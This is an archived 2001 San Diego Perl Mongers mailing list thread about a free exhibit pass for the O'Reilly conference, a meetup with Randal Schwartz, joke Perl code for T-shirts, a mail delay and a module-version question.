with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From chris at velocigen.com Thu May 17 00:36:16 2001 From: chris at velocigen.com (Chris Radcliff) Date: Thu Aug 5 00:20:20 2004 Subject: Perl Conference Message-ID: <3B036350.1040802@velocigen.com> ~sdpm~ For all those wondering how to get into parts of the Perl Conference for free, go to: http://conferences.oreillynet.com/cs/os2001/create/ord_os01 Ignore all the paid choices and choose "Exhibit Hall Only" - despite the name, the same pass will get you into all the keynotes as well as Larry's speech on Tuesday night. Let me know if you have questions. ~chris ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From todd.rockhold at ontogen.com Thu May 17 08:36:09 2001 From: todd.rockhold at ontogen.com (Todd Rockhold) Date: Thu Aug 5 00:20:20 2004 Subject: Meeting with Merlyn on Saturday Message-ID: <01May17.064935pdt.118081@gateway.ontogen.com> ~sdpm~ As most of us know, Randal Schwartz is comin' to town this Saturday. So far it looks like he plans to spend the day in Tijuana and is willing to meet some of us for dinner. Since: a) Randal may still be looking for a venue for the big bash at the O'Reilly conference, and many candidates are within walking distance of each other in the Gaslamp b) The Gaslamp district is within staggering distance of the conference venue c) I have a vague memory of Randal or someone else suggesting the Gaslamp for dinner let's go to the Gaslamp. We need to settle on this today, because I suspect Randal will be departing for San Diego on Friday. Please let me know ASAP if you are interested -- I need a reasonable estimate of the number of people who expect to be there. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From todd.rockhold at ontogen.com Thu May 17 09:10:21 2001 From: todd.rockhold at ontogen.com (Todd Rockhold) Date: Thu Aug 5 00:20:20 2004 Subject: Last night's meeting Message-ID: <01May17.072348pdt.118081@gateway.ontogen.com> ~sdpm~ Last night we talked a bit about decorations for T-shirts we all might wear at the O'Reilly conference in July. It was noted that we may not use a camel without O'Relly's permission. Before the meeting President Kleemann had suggested "just a local Perl hacker" and many of us liked that. One of our members works for someone who also owns Geek Gear (correction, please -- I know neither the official name nor the URL) which could produce the shirts. We need to start kicking around ideas for the T shirts because we only have two meetings between now and the conference. Chris Radcliff regaled the assembly with tales of writing "The Book". Remember that as we read it (we ARE going to read the book, AREN'T we? Good. I thought so!) the last third or so was typed on a keyboard with broken "6", "hyphen" and left "shift" keys. Chris didn't use these exact words, but my take on it was "writing a book is harder than you think, even after taking that statement into account". And -- thanks, Chris, for the pizza -- yum! yum! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From merlyn at stonehenge.com Thu May 17 09:20:23 2001 From: merlyn at stonehenge.com (Randal L. Schwartz) Date: Thu Aug 5 00:20:20 2004 Subject: Meeting with Merlyn on Saturday In-Reply-To: <01May17.064935pdt.118081@gateway.ontogen.com> References: <01May17.064935pdt.118081@gateway.ontogen.com> Message-ID: ~sdpm~ >>>>> "Todd" == Todd Rockhold writes: Todd> a) Randal may still be looking for a venue for the big bash at the Todd> O'Reilly conference, Todd> and many candidates are within walking distance of each other in Todd> the Gaslamp No, that's already been decided. Details to follow. Todd> b) The Gaslamp district is within staggering distance of the Todd> conference venue Really? You guys actually *walk* in SoCal? More than three blocks? :) Todd> c) I have a vague memory of Randal or someone else suggesting the Todd> Gaslamp for dinner Yes, because that's the only area I know. And of that, the only thing I've been to is the Hooters. :) Todd> let's go to the Gaslamp. We need to settle on this today, because I suspect Todd> Randal will be departing Todd> for San Diego on Friday. Yes, best would be to settle by Friday morning... I'll probably have email access saturday morning, but let's not count on that. Todd> Please let me know ASAP if you are interested -- I need a reasonable Todd> estimate of the number of people Todd> who expect to be there. It'll be under a hundred. :) I have Stonehenge T-shirts to give away, to encourage people to come! -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Thu May 17 12:22:38 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:20 2004 Subject: Last night's meeting In-Reply-To: <01May17.072348pdt.118081@gateway.ontogen.com> Message-ID: ~sdpm~ On Thu, 17 May 2001, Todd Rockhold wrote: > ~sdpm~ > Last night we talked a bit about decorations for > T-shirts we all might wear at the O'Reilly conference > in July. It was noted that we may not use a camel > without O'Relly's permission. Before the meeting > President Kleemann had suggested "just a local > Perl hacker" and many of us liked that. Expanding on my idea a little, on the front could be: use SanDiego.pm; And on the back: Just A Local Perl Hacker! Or maybe that should be reversed? > One of our > members works for someone who also owns Geek Gear > (correction, please -- I know neither the official > name nor the URL) which could produce the shirts. I think it was Nerd Gear (www.nerdgear.com). > We need to start kicking around ideas for the T shirts > because we only have two meetings between now and > the conference. If we're going to do this, we need a desgin and pricing by the next meeting so we can collect money. Then we can get the T-shrits delivered at the July meeting. > Chris Radcliff regaled the assembly with tales of writing > "The Book". Remember that as we read it (we ARE going > to read the book, AREN'T we? Good. I thought so!) the > last third or so was typed on a keyboard with broken "6", > "hyphen" and left "shift" keys. Chris didn't use these > exact words, but my take on it was "writing a book is > harder than you think, even after taking that statement > into account". Based on the discussion last night, something tells me no matter how many recursive levels deep you go when taking the above advice, you still will end up underestimating the amount of work involved. > And -- thanks, Chris, for the pizza -- yum! yum! Yes, Pizza, Good! And thanks for the good summary Todd! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From merlyn at stonehenge.com Thu May 17 14:42:19 2001 From: merlyn at stonehenge.com (Randal L. Schwartz) Date: Thu Aug 5 00:20:20 2004 Subject: Last night's meeting In-Reply-To: References: Message-ID: ~sdpm~ >>>>> "Bob" == Bob Kleemann writes: Bob> use SanDiego.pm; Since that's a syntax error, why not make it legal Perl: use SanDiego::PerlMongers; Bob> And on the back: Bob> Just A Local Perl Hacker! printf "Just Another %s Perl Hacker,", "SanDiego.pm" =~ /(\w+)/; -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From chris at velocigen.com Thu May 17 15:52:29 2001 From: chris at velocigen.com (Chris Radcliff) Date: Thu Aug 5 00:20:20 2004 Subject: Book URL Message-ID: <3B043A0D.B8E0E309@velocigen.com> ~sdpm~ For those new to the list, the full text of "Perl for the Web" is available from my Web site: http://www.globalspin.com/thebook/ It's currently just the first draft, but I should have the final draft within the next few weeks. The site is also slated to change a bit over that time in order to add the search engine and section-by-section browsing. Let me know what you think! ~chris ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Thu May 17 16:37:42 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:20 2004 Subject: Last night's meeting In-Reply-To: Message-ID: ~sdpm~ On 17 May 2001, Randal L. Schwartz wrote: > >>>>> "Bob" == Bob Kleemann writes: > > Bob> use SanDiego.pm; > > Since that's a syntax error, why not make it legal Perl: > > use SanDiego::PerlMongers; > > Bob> And on the back: > > Bob> Just A Local Perl Hacker! > > printf "Just Another %s Perl Hacker,", > "SanDiego.pm" =~ /(\w+)/; OK, you've got my brain thinking. On one side is a simple program: #!/usr/bin/perl use SanDiego; print "Just ", defined $SanDiego ? "A Local" : "Another", " Perl Hacker!"; And on the back: package SanDiego; our $SanDiego = { weather => 'Wonderful', beaches => 'Beautiful', }; 1; Perhaps we can add some other attributes: PerlMongers => 'SanDiego.pm', conferences => 'Open Source', electricity => rand(1), zoo => 'World Famous', ... Of course if Damian were here he'd probably re-write the whole thing in Perl 6. :-) ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From todd.rockhold at ontogen.com Thu May 17 20:50:28 2001 From: todd.rockhold at ontogen.com (Todd Rockhold) Date: Thu Aug 5 00:20:20 2004 Subject: More Merly and the Gaslamp Message-ID: <01May17.190358pdt.118082@gateway.ontogen.com> ~sdpm~ If this is a duplicate message, my apologies. I have some inconclusive evidence that the first attempt to send it failed, so I am resending. -------------------------- So far I have heard from only one person. Who else is going to meet us in the Gaslamp Saturday night? Let's meet at Hooters -- Merlyn has been there before. Tomorrow we can choose somewhere else to end up, but it's probably easiest for Merlyn to find Hooters, so we'll meet there for starters. Not much time left for emailing. Merlyn, would you like to give us a time to meet? 7 PM? ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From kevin at islanddata.com Thu May 17 23:38:32 2001 From: kevin at islanddata.com (Kevin Luu) Date: Thu Aug 5 00:20:20 2004 Subject: More Merly and the Gaslamp Message-ID: <95CD90709D74D4118F4600D0B79E8BC972A626@MAUI> Hi, I can vouch that a friend and I will be there at Hooters or wherever the destination is, to join you guys. So, add two more to the body count. -kev -----Original Message----- From: Todd Rockhold [mailto:todd.rockhold@ontogen.com] Sent: Thursday, May 17, 2001 6:50 PM To: 'san-diego-pm-list@hfb.pm.org'; 'merlyn@stonehenge.com' Subject: More Merly and the Gaslamp ~sdpm~ If this is a duplicate message, my apologies. I have some inconclusive evidence that the first attempt to send it failed, so I am resending. -------------------------- So far I have heard from only one person. Who else is going to meet us in the Gaslamp Saturday night? Let's meet at Hooters -- Merlyn has been there before. Tomorrow we can choose somewhere else to end up, but it's probably easiest for Merlyn to find Hooters, so we'll meet there for starters. Not much time left for emailing. Merlyn, would you like to give us a time to meet? 7 PM? ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.pm.org/archives/san-diego-pm/attachments/20010517/405c0b44/attachment.htm From merlyn at stonehenge.com Fri May 18 02:04:36 2001 From: merlyn at stonehenge.com (Randal L. Schwartz) Date: Thu Aug 5 00:20:20 2004 Subject: More Merly and the Gaslamp In-Reply-To: <95CD90709D74D4118F4600D0B79E8BC972A626@MAUI> References: <95CD90709D74D4118F4600D0B79E8BC972A626@MAUI> Message-ID: ~sdpm~ >>>>> "Kevin" == Kevin Luu writes: Kevin> I can vouch that a friend and I will be there at Hooters or wherever the Kevin> destination is, to join you guys. So, add two more to the body count. Hooters at 7pm sounds good for us too. -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From todd.rockhold at ontogen.com Fri May 18 10:11:50 2001 From: todd.rockhold at ontogen.com (Todd Rockhold) Date: Thu Aug 5 00:20:20 2004 Subject: Merlyn in Gaslamp 7:00 PM Saturday Night Message-ID: <01May18.082523pdt.118082@gateway.ontogen.com> ~sdpm~ Let's meet Merlyn at Hooters in the Gaslamp at 7:00 PM Saturday night. So far the expected body count is around 10. Please let me know if you expect to increase that. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From merlyn at stonehenge.com Sat May 19 00:11:25 2001 From: merlyn at stonehenge.com (Randal L. Schwartz) Date: Thu Aug 5 00:20:20 2004 Subject: Merlyn in Gaslamp 7:00 PM Saturday Night In-Reply-To: <01May18.082523pdt.118082@gateway.ontogen.com> References: <01May18.082523pdt.118082@gateway.ontogen.com> Message-ID: ~sdpm~ >>>>> "Todd" == Todd Rockhold writes: Todd> ~sdpm~ Todd> Let's meet Merlyn at Hooters in the Gaslamp at 7:00 PM Saturday night. Todd> So far the expected body count is around 10. Todd> Please let me know if you expect to increase that. Gahhh! My ride now says that we must meet with y'all for LUNCH not DINNER. As I am subject to his whims, here's the NEW SCOOP: Gaslamp Hooters noon-ish (we're driving down from Torrence starting at 10am) We have free T-shirts to give away. Please come! Sorry for short notice. Bleh. -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From dgwilson at gtemail.net Sat May 19 11:55:00 2001 From: dgwilson at gtemail.net (Douglas Wilson) Date: Thu Aug 5 00:20:20 2004 Subject: Meetings this week. References: Message-ID: <3B06A564.CAA4005A@gtemail.net> ~sdpm~ Bob Kleemann wrote: > > ~sdpm~ > Fellows, > There are two meetings this week. The normal Perl Mongers meeting Did I miss anything, or are there still no details for the get together tonight? Doug ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From dgwilson at gtemail.net Sat May 19 20:13:42 2001 From: dgwilson at gtemail.net (Douglas Wilson) Date: Thu Aug 5 00:20:20 2004 Subject: Merlyn in Gaslamp 7:00 PM Saturday Night References: <01May18.082523pdt.118082@gateway.ontogen.com> Message-ID: <3B071A46.C81F8D55@gtemail.net> ~sdpm~ Oh, piss and moan :( I did not receive this until Sunday morning. I didn't receive the notice about 7PM at Hooters until 10AM Saturday morning. So guess where I and one other person were 7PM Saturday night, and where we were NOT at noon? The mailing list mail seems to be hung up at the gocho.pm.org se3r "Randal L. Schwartz" wrote: > > ~sdpm~ > >>>>> "Todd" == Todd Rockhold writes: > > Todd> ~sdpm~ > Todd> Let's meet Merlyn at Hooters in the Gaslamp at 7:00 PM Saturday night. > Todd> So far the expected body count is around 10. > Todd> Please let me know if you expect to increase that. > > Gahhh! My ride now says that we must meet with y'all for LUNCH > not DINNER. As I am subject to his whims, here's the NEW SCOOP: > > Gaslamp Hooters > > noon-ish (we're driving down from Torrence starting at 10am) > > We have free T-shirts to give away. Please come! > > Sorry for short notice. Bleh. > > -- > Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 > > Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. > See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to . > This is the general rule for most mailing lists when you need > to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From dgwilson at gtemail.net Sat May 19 20:16:20 2001 From: dgwilson at gtemail.net (Douglas Wilson) Date: Thu Aug 5 00:20:20 2004 Subject: Merlyn in Gaslamp 7:00 PM Saturday Night References: <01May18.082523pdt.118082@gateway.ontogen.com> Message-ID: <3B071AE4.D2C42E64@gtemail.net> ~sdpm~ Oh, piss and moan :( I did not receive this until Sunday morning. I didn't receive the notice about 7PM at Hooters until 10AM Saturday morning. So guess where I and one other person were 7PM Saturday night, and where we were NOT at noon? The mailing list mail seems to be hung up at the gocho.pm.org: > Received: > from gocho.pm.org (gocho-206.gocho.net [207.8.52.206] (may be forged)) by > spf2.us4.outblaze.com (8.11.0/8.11.0) with ESMTP id f4K3PvF13516 for > ; Sun, 20 May 2001 03:25:57 GMT > Received: > (from majordomo@localhost) by gocho.pm.org (8.11.3/8.11.3) id f4J5EDV04001 for > san-diego-pm-list-outgoing; Sat, 19 May 2001 00:14:13 -0500 > X-Authentication-Warning: > gocho.pm.org: majordomo set sender to owner-san-diego-pm-list@pm.org using -f "Randal L. Schwartz" wrote: > > ~sdpm~ > >>>>> "Todd" == Todd Rockhold writes: > > Todd> ~sdpm~ > Todd> Let's meet Merlyn at Hooters in the Gaslamp at 7:00 PM Saturday night. > Todd> So far the expected body count is around 10. > Todd> Please let me know if you expect to increase that. > > Gahhh! My ride now says that we must meet with y'all for LUNCH > not DINNER. As I am subject to his whims, here's the NEW SCOOP: > > Gaslamp Hooters > > noon-ish (we're driving down from Torrence starting at 10am) > > We have free T-shirts to give away. Please come! > > Sorry for short notice. Bleh. > > -- > Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 > > Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. > See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to . > This is the general rule for most mailing lists when you need > to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From MacPerl at roviking.com Mon May 21 14:40:12 2001 From: MacPerl at roviking.com (Robert W. Franson) Date: Thu Aug 5 00:20:20 2004 Subject: Perl Conference - Exhibit Pass Message-ID: <20010521124014-r01010600-c9ed6339@209.179.222.217> ~sdpm~ Thank you, Chris. I did this and it worked perfectly. I had been wondering, since this conference is right in our backyard and looks interesting. But to buy into all the kinds of useful info and essential support one absolutely must have to use Perl, Unix, Adobe, Oracle, ad infinitum, certainly would exceed my gross income. So I buy some books, read a few newsletters, and experiment when provoked by some "interesting opportunity" ... Bob Franson | ~sdpm~ | For all those wondering how to get into parts of the Perl Conference for | free, go to: | | http://conferences.oreillynet.com/cs/os2001/create/ord_os01 | | Ignore all the paid choices and choose "Exhibit Hall Only" - despite the | name, the same pass will get you into all the keynotes as well as | Larry's speech on Tuesday night. | | Let me know if you have questions. | | ~chris ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From joel at cts.com Wed May 23 06:59:22 2001 From: joel at cts.com (Joel Fentin) Date: Thu Aug 5 00:20:20 2004 Subject: Modules Message-ID: <200105231159.EAA18543@neko.cts.com> ~sdpm~ I wrote a program that used File::Basename. It worked in the laptop, but when I uploaded the program to the host, it didn't work. My presumption is that the host doesn't have Basename. So I uploaded Basename.pm into the same directory where my perl file resides. Then I added lines like these into my program: use File::Basename; require "Basename.pm"; Here is one error: [Tue May 22 17:24:09 2001] ul.pl: [Tue May 22 17:24:09 2001] ul.pl: Perl 5.00564 required--this is only version 5.00503, stopped at Basename.pm line 138. [Tue May 22 17:24:09 2001] ul.pl: BEGIN failed--compilation aborted at Basename.pm line 138. So, I simply performed the function with a regular expression. But the basic question stays in my mind. If I need a module, what is the/a constructive way of dealing with this? Thank you. -- Joel Fentin tel: 760-749-8863 FAX: 760-749-8864 email: joel@fentin.com web: Fentin.com ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From taa0 at cris.com Wed May 23 09:11:00 2001 From: taa0 at cris.com (Tom Adams) Date: Thu Aug 5 00:20:20 2004 Subject: Modules References: <200105231159.EAA18543@neko.cts.com> Message-ID: <3B0BC4F4.17568628@cris.com> ~sdpm~ Take a look at the 'use' page: http://www.perl.com/pub/doc/manual/html/pod/perlfunc/use.html An excerpt: If the first argument to use is a number, it is treated as a version number instead of a module name. If the version of the Perl interpreter is less than VERSION, then an error message is printed and Perl exits immediately. Joel Fentin wrote: > ~sdpm~ > I wrote a program that used File::Basename. It worked in the laptop, but > when I uploaded the program to the host, it didn't work. My presumption is > that the host doesn't have Basename. > > So I uploaded Basename.pm into the same directory where my perl file > resides. Then I added lines like these into my program: > use File::Basename; > require "Basename.pm"; > > Here is one error: > [Tue May 22 17:24:09 2001] ul.pl: [Tue May 22 17:24:09 2001] ul.pl: Perl > 5.00564 required--this is only version 5.00503, stopped at Basename.pm line > 138. [Tue May 22 17:24:09 2001] ul.pl: BEGIN failed--compilation aborted at > Basename.pm line 138. > > So, I simply performed the function with a regular expression. > > But the basic question stays in my mind. If I need a module, what is the/a > constructive way of dealing with this? > > Thank you. > -- > Joel Fentin tel: 760-749-8863 FAX: 760-749-8864 > > email: joel@fentin.com web: Fentin.com > > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to . > This is the general rule for most mailing lists when you need > to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From taa0 at cris.com Wed May 23 09:14:56 2001 From: taa0 at cris.com (Tom Adams) Date: Thu Aug 5 00:20:20 2004 Subject: Modules References: <200105231159.EAA18543@neko.cts.com> <3B0BC4F4.17568628@cris.com> Message-ID: <3B0BC5E0.A92ED7D1@cris.com> ~sdpm~ Also: http://www.perl.com/pub/doc/manual/html/pod/perlmodinstall.html Tom Adams wrote: > Take a look at the 'use' page: > > http://www.perl.com/pub/doc/manual/html/pod/perlfunc/use.html > > An excerpt: > > If the first argument to use is a number, it is treated as a version number > instead of a module name. If the version of the Perl interpreter is less than > VERSION, then an error message is printed and > Perl exits immediately. > > Joel Fentin wrote: > > > ~sdpm~ > > I wrote a program that used File::Basename. It worked in the laptop, but > > when I uploaded the program to the host, it didn't work. My presumption is > > that the host doesn't have Basename. > > > > So I uploaded Basename.pm into the same directory where my perl file > > resides. Then I added lines like these into my program: > > use File::Basename; > > require "Basename.pm"; > > > > Here is one error: > > [Tue May 22 17:24:09 2001] ul.pl: [Tue May 22 17:24:09 2001] ul.pl: Perl > > 5.00564 required--this is only version 5.00503, stopped at Basename.pm line > > 138. [Tue May 22 17:24:09 2001] ul.pl: BEGIN failed--compilation aborted at > > Basename.pm line 138. > > > > So, I simply performed the function with a regular expression. > > > > But the basic question stays in my mind. If I need a module, what is the/a > > constructive way of dealing with this? > > > > Thank you. > > -- > > Joel Fentin tel: 760-749-8863 FAX: 760-749-8864 > > > > email: joel@fentin.com web: Fentin.com > > > > ~sdpm~ > > > > The posting address is: san-diego-pm-list@hfb.pm.org > > > > List requests should be sent to: majordomo@hfb.pm.org > > > > If you ever want to remove yourself from this mailing list, > > you can send mail to with the following > > command in the body of your email message: > > > > unsubscribe san-diego-pm-list > > > > If you ever need to get in contact with the owner of the list, > > (if you have trouble unsubscribing, or have questions about the > > list itself) send email to . > > This is the general rule for most mailing lists when you need > > to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From joel at cts.com Wed May 23 11:43:49 2001 From: joel at cts.com (Joel Fentin) Date: Thu Aug 5 00:20:20 2004 Subject: Modules Message-ID: <200105231643.JAA18739@neko.cts.com> ~sdpm~ Tom: > Also: > > http://www.perl.com/pub/doc/manual/html/pod/perlmodinstall.html This is not relevant to me. I am in no position to install modules at the host. I suppose I could find the latest version of the desired module and copy it to where my application program is. Is this what is normally done? ========================= > > http://www.perl.com/pub/doc/manual/html/pod/perlfunc/use.html > > > > An excerpt: > > > > If the first argument to use is a number, it is treated as a version number > > instead of a module name. If the version of the Perl interpreter is less than > > VERSION, then an error message is printed and > > Perl exits immediately. Yes, that tells me what the problem is. I already knew that. What I asked for was common usage in such cases. Do you eliminate the offending line in the .pm? Is there another common solution? -- Joel Fentin tel: 760-749-8863 FAX: 760-749-8864 email: joel@fentin.com web: Fentin.com ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From merlyn at stonehenge.com Wed May 23 18:10:27 2001 From: merlyn at stonehenge.com (Randal L. Schwartz) Date: Thu Aug 5 00:20:20 2004 Subject: Merlyn in Gaslamp 7:00 PM Saturday Night In-Reply-To: <3B071AE4.D2C42E64@gtemail.net> References: <01May18.082523pdt.118082@gateway.ontogen.com> <3B071AE4.D2C42E64@gtemail.net> Message-ID: ~sdpm~ >>>>> "Douglas" == Douglas Wilson writes: Douglas> Oh, piss and moan :( Douglas> I did not receive this until Sunday morning. I didn't receive the Douglas> notice about 7PM at Hooters until 10AM Saturday morning. So guess Douglas> where I and one other person were 7PM Saturday night, and where Douglas> we were NOT at noon? Heh. Yeah, messy, those mailing lists. So "Kevin" (I think that's his name) showed up at Noon, and got a Stonehenge T-shirt, as did three of the ladies at Hooters, and we got their pictures, which will be on the website some day. :) -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 